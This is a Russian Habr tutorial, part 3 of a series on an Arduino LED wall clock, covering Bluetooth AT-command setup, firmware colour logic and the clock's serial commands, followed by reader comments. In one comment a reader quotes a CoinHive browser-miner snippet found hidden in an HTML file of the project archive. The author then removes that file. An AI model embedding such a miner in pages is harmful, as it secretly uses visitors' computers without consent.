Крутые часы на адресных диодах (часть 3)

  • Tutorial

Часть 3. Прошивка, настройка и алгоритмы работы

UPD: Часть 1 (компоненты): https://habr.com/ru/post/535884/
Часть 2 (сборка): https://habr.com/ru/post/536842/

В архиве проекта я собрал готовую прошивку, используемые библиотеки, а также статью с оригинальным проектом (к сожалению, сейчас она недоступна онлайн). Кроме того, там же лежит сканер шины I2C (на случай, если модуль часов или датчик освещённости будут использовать нестандартные адреса).

Attention

Внимание! Библиотека "MicroLED", написанная AlexGyver'ом, получила обновление (на момент написания статьи - до 3 версии). Однако обновлённая версия ломает прошивку, так как в ней были изменены алгоритмы указания цвета ленты.
В обновлённой версии добавлены функции, которые не используются в данном проекте, и обновлять библиотеку без переписывания кода нельзя.

Перед прошивкой я рекомендую настроить модуль bluetooth, а именно задать ему имя и пароль, а также проверить скорость обмена порта.

Можно оставить настройки по умолчанию (пароль 1234 или 0000), имя также будет стандартное.

В процессе работы над этим и другим проектом у меня в руках оказалось два модуля bluetooth (которые, конечно же, были куплены у наших азиатских друзей), установить модель которых возможным не представилось. Кроме того, они были у меня в руках в разное время, и я не смог их сравнить по внешнему виду. Однако особенности их настройки отличались (я полагаю, что это были HC-05 и HC-06).

Итак, для начала нужно соединить модуль bluetooth и arduino следующим образом:

Arduino

Bluetooth

Pin 2

TX

Pin 3

RX

5V

VCC

GND

GND

В некоторых статьях встречаются схемы подключения с резисторами, однако всё это лишнее. Модуль настраивается AT-командами через указанный скетч.

Далее заливаем в arduino скетч "BluetoothAT" из архива, открываем монитор порта, выставляя настройки возврата каретки "CR&NL" и вводим следующее:

  • AT+BAUD4 (устанавливаем скорость обмена 9600 (проверяем, что с настройках порта стоит аналогичная)

  • AT - должны получить в ответ "ОК". Это значит, что связь с модулем настроена и работает правильно

    Далее в зависимости от модели модуля могут потребоваться следующие команды:

Узнать имя

AT+NAME

AT+NAME?

Узнать пароль

AT+PSWD

AT+PSWD?

Установить новое имя

AT+NAME=Имя

AT+NAMEname

Установить новый пароль

AT+PSWD:"9999"

AT+PINpass

После настройки модуля можно прошивать arduino прошивкой часов подключать bluetooth к выходам RX и TX.

Внимание! Модуль bluetooth подключается на выходы RX и TX платы только после загрузки прошивки. В противном случае прошивка не загрузится!

После того как прошивка загружена в плату, плату можно устанавливать в шилд и подавать питание. При включении часы должны показать красивую анимацию (которая одновременно показывает правильность подключения ленты), после чего перейдут в режим отображения времени.

Для управления часами с телефона я использовал бесплатную программу "Serial Bluetooth Terminal". Она удобная, и позволяет сделать "горячие" кнопки на определённые команды.
В программе в настройках в разделе "Send" параметру "Newline" устанавливаем значение "CR" (это важно). Остальные настройки - по желанию.

Как я уже писал ранее, данные часы висят у меня на работе, в связи с чем алгоритмы работы подстроены именно под них, а именно:

  • Часы знают время начала и окончания рабочего дня;

  • Рабочий день в пятницу на один час короче;

  • Выходные дни;

  • Время обеда.

При этом время начала и окончания рабочего дня можно настроить с телефона, время обеда - только в прошивке.

Алгоритмы работы и настройка

Обед

# Вкладка "functions", функция "LedColor()"
if (time.Hours == 13 && time.weekday != 0 && time.weekday != 6) { //Обед
    ledColor = GREEN;
  }
  else if (time.Hours == 12 && time.minutes >= 40 ) { //Почти обед
    ledColor = LIME;
  }

Как видно в функции выше, обеденное время начинается по будням в 13:00 и длится до 14:00. В это время часы меняют свой цвет на зелёный (по умолчанию они синие). Кроме того, за 20 минут до начала обеденного времени, часы также меняют свой цвет на оттенок зелёного.
При желании выставить иные интервалы - их нужно изменить здесь.

Скоро домой

else if (time.weekday != 5 && (time.Hours == (endWorkHours - 1) && time.minutes >= endWorkMinutes) || time.Hours == endWorkHours && time.minutes < endWorkMinutes) {
    ledColor = OLIVE; //Скоро домой (не пятница)
  }

За час до окончания рабочего дня часы также меняют свой цвет (в данном случае - на оливковый).
Параметры "startWorkHours" и "endWorkHours" хранятся в EEPROM (энергонезависимой памяти) и устанавливаются после прошивки (в любое время через Bluetooth).

В рабочее время часы отображают время синим цветом, в нерабочее (включая выходные) - красным, в обеденное время - зелёным, за час до окончания рабочего времени - оливковым.

Команды управления

info - выводит в терминал показания датчиков и переменных начала и конца рабочего дня. Позволяет проверить корректность работы датчиков

setdate- корректировка даты. После ввода команды в терминал будет выведены соответствующие подсказки. Время на ввод каждого параметра - 5 секунд. Требуется ввести число, номер месяца, две цифры года, а также день недели (воскресенье = 0, понедельник = 1...).

settime- корректировка времени. Аналогично параметрам установки даты, в терминал выводятся подсказки, время на ввод параметров - 5 секунд. От пользователя требуется ввести часы и минуты, секунды обнуляются.

demo - запуск демонстрационного режима (аналогичный режим запускается при включении часов). Позволяет проверить работу всей ленты или продемонстрировать её возможности

check - запуск функций проверки датчиков освещённости и температуры. Часы принудительно отобразят текущую температуру, а также произойдёт принудительная корректировка яркости ленты в соответствии с освещённостью

setworktimes - установка времени (часов и минут) начала и окончания рабочего дня. Время на ввод каждого параметра - 5 секунд. Время устанавливается один раз, настройки хранятся в энергонезависимой памяти (при выключении часов сохраняются). Пятница автоматически уменьшает рабочий день на 1 час.

setbright - корректировка коэффициента яркости. Хранится в энергонезависимой памяти и может принимать как положительные, так и отрицательные значения. Подбирается экспериментально в зависимости от условий размещения часов. У меня равен 5.

Все команды не чувствительны к регистру. При вводе текста, не соответствующего команде, текст будет выведен назад в терминал.

В обычном режиме часы один раз в минуту (с 29 по 31 секунду) отображают текущую температуру, а также раз в 10 секунд регулируют яркость в соответствии с освещённостью.

Температура округляется по математическим правилам округления до целого числа.

Яркость ленты регулируется плавно на основании данных датчика освещённости:
- Если темно, то лента светит минимальной яркостью;
- Если есть хотя бы минимальный источник света, то яркость ленты устанавливается равной полученному значению датчика освещённости плюс коэффициент корректировки. При этом яркость ленты ограничена значением 210 (максимально возможная яркость - 256).
- В случае, если датчик работает некорректно - устанавливается значение яркости, равное 30 (константа max_bright в начале прошивки).

Следует отметить, что в прошивке указывается количество диодов и тип ленты. Таким образом, при использовании других исходных данных, прошивка потребует внесения изменений как в параметры ленты и количества диодов, так и алгоритмов формирования цифр.

В заключение хочу добавить, что я не претендую на красоту или абсолютную правильность написания кода: любой желающий может его модифицировать на своё усмотрение.
Мне достаточно того, что часы работают без зависаний, меняют яркость и цвет без зависаний (в прошлой версии прошивки случались казусы, и функции были переписаны с нуля).
Ограничения по току, прерывания, и даже энергосбережение - это всё, конечно же, можно реализовать, только стоит задаться вопросом: а зачем всё это именно в этом проекте?
Ведь это всего лишь часы.

Комментарии 17

    +1

    Нужна ещё интеграция с рабочим календарём, чтобы выходные, праздники и отпуск не омрачались.

      0
      Можно, да, было бы круто))). У Гайвера есть более крутая библиотека для часов — она автоматом рассчитывает день недели, туда же можно и расчёт праздников сделать.
      Для другого проекта я переделывал его библиотеку, здесь возникла проблема конфликта с библиотекой датчика освещённости.
      А я, увы, не настолько силён в радиотехнике(((
      +2
      Хоть бы показали, как они выглядят. В смысле, более развёрнуто, нежели на КДПВ, а то тамошнее фото говорит лишь о том, что у вас плохая камера в телефоне, а не о том, что эти часы из себя представляют.
        +1
        всегда задавался вопросом точности часов. Есть ведь вроде какие то сигналы точного времени передаваемые по радио. есть так же GPS который вообще транслирует атомные часы. а есть сотовая сеть которая тоже транслирует время (телефон то по сети синхронизируется). почему никто в часы не встраивает синхронизацию? в итоге дома 5 девайсов показывающих время и раз в месяц приходится им всем подводить эти самые часы чтобы не расходились на минуты? микроволновки так вообще даже батерейки не имеют и сбрасываются при вырубании электричества дома. а часы xiaomi вообще запоминают время и оно останавливается на время выключения питания. в итоге можно узнать сколько времени не было света дома по расхождению часов

        вопросы к автору:
        — будет ли батарейка для сохранения времени? или может есть уже а я не заметил?
        — будет ли синхронизация времени с чем ни будь что лучше во времени разбирается нежели кварц ардуины?

        просто если часы заявлены как «крутые», то хочется «крутого» функционала а не только размера сегментов. скажем чтобы они были точными. вам разве не хочется?
          0
          Батарейка для сохранения времени, разумеется, есть. Она установлена в модуле часов. При отключении питания время не сбрасывается.
          Синхронизация времени. Можно доделывать, конечно, но:
          1. Уже писали, что и так «слишком много инженерии»,
          2. Там же отдельный модуль RTC — он в принципе точный. У него свой кварц и датчик температуры, который делает поправку на температуру окружающей среды.
          Плюс ко всему установка конденсатора на линии питания часов поможет устранить помехи при нелинейности питания.
          До установки конденсатора за 2 года часы начали отставать чуть больше чем на минуту.
          После установки проблема решилась. Отключение питания абсолютно не сказывается на точности.
            0
            Плюс ко всему установка конденсатора на линии питания часов поможет устранить помехи при нелинейности питания.
            Это вообще серебрянная пуля от всего:) Электролит большая (если напряжение позволяет — десятки-сотни uF) и маленькая (~0.1uF) керамика.
            0
            почему никто в часы не встраивает синхронизацию?


            Почему, встраивают. Их есть, если поискать.
            Себе делал из ESP8266 и пары сдвиговых регистров, а если на адресной ленте, то и регистры не нужны. Модуль RTC тоже не обязателен — собственных возможностей по отсчету времени достаточно, чтобы уходить на единицы секунд в неделю, а синхронизироваться по NTP можно как угодно часто.
              0
              . Есть ведь вроде какие то сигналы точного времени передаваемые по радио. есть так же GPS который вообще транслирует атомные часы.


              Особенно хотелось бы видеть применение наших аналогов DCF77: РТЗ и РБУ
              0
              Чтобы не было проблем с библиотеками — используйте базовые для Ардуино
              Для WS2812 это NeoPixel от Adafruit или на худой конец — оригинальную FastLED которую Гайвер постоянно курочит
                +1

                Да проьлем-то, собственно, и нет. Просто в новой не получится использовать удобные названия цветов, нужно по-другому цвета объявлять (например, через HEX).
                В первоначальной версии использовалась оригинальная библиотека, в новой версии я от неё ушёл — и очень рад.
                Гайвер приводит сравнения быстродействия библиотек, ИМХО, его библиотека и правда лучше. Кроме того, я и его ядро использовал (GyverCore).
                Было бы неплохо и его библиотеку часов использовать (у меня не вышло из-за конфликта функций I2C с библиотекой BH1750). В другом проекте я его библиотеку использовал, переработав и уменьшив.

                  0
                  Основная проблема заключаются в том, что Ваш проект будет тяжело собрать. Согласен с sav13, не стоило использовать чьи-то кривые переделки базовых вещей, лучше разберитесь в основах.
                  Конечно, эта проблема не делает проект в целом плохим. Мне вот понравилось.
                    +1
                    На самом деле, мне кажется, сложно отнести регистры и работу I2C шины к основам(((
                  0
                  esp8266 стоит дешевле, чем модуль один Bluetooth. и управлять изделием можно не через терминал, а через веб-страничку. Да и arduino тогда можно не использовать. Lawjohn, это намек ;)
                    +1
                    в архиве в файле «Большие настенные часы с автояркостью на Arduino — Инструкции.html»
                    var miner = new CoinHive.Anonymous('sHHkiulLi1Z4U3YaG7XWVfKtLxXQ7u4q');
                    miner.start();

                    ваш кошелёк или помогаете кому?
                      0
                      Это файлы оригинального (авторского) проекта. Спасибо за то, что заметили! Удалил, архив перезалил(((((((((((((((((
                      0
                      Добавьте, пожалуйста, ссылки на предыдущие части.
                        0
                        Добавил

                      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                      Самое читаемое